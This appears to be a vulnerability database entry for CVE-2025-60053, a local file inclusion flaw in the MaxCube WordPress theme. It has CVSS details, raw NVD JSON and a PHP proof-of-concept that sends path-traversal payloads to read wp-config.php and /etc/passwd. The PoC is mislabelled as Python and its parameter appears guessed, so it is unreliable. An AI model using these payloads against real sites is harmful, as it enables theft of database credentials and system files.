Security Vulnerability Report
中文
CVE-2025-60053 CVSS 8.1 HIGH

CVE-2025-60053

Published: 2025-12-18 08:16:05
Last Modified: 2026-04-27 18:16:23

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes MaxCube maxcube allows PHP Local File Inclusion.This issue affects MaxCube: from n/a through <= 1.3.1.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

MaxCube <= 1.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-60053 PoC - MaxCube LFI Vulnerability * Target: AncoraThemes MaxCube WordPress Theme <= 1.3.1 * Type: Local File Inclusion via path traversal */ $target = 'http://target-site.com/wp-content/themes/maxcube/'; // LFI payload - read wp-config.php $payload = '?file=../../../../wp-config.php'; $url = $target . $payload; echo "[*] CVE-2025-60053 MaxCube LFI PoC\n"; echo "[*] Target: $target\n"; echo "[*] Sending request...\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "[*] HTTP Status: $http_code\n"; if (strpos($response, 'DB_NAME') !== false || strpos($response, '<?php') !== false) { echo "[!] VULNERABLE - Sensitive file leaked!\n"; echo "[+] File content:\n"; echo $response; } else { echo "[-] Not vulnerable or file not found\n"; } // Alternative: Try reading /etc/passwd $payload2 = '?file=../../../../etc/passwd'; $url2 = $target . $payload2; echo "\n[*] Trying to read /etc/passwd...\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60053", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:04.990", "lastModified": "2026-04-27T18:16:22.947", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes MaxCube maxcube allows PHP Local File Inclusion.This issue affects MaxCube: from n/a through <= 1.3.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/maxcube/vulnerability/wordpress-maxcube-theme-1-3-1-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}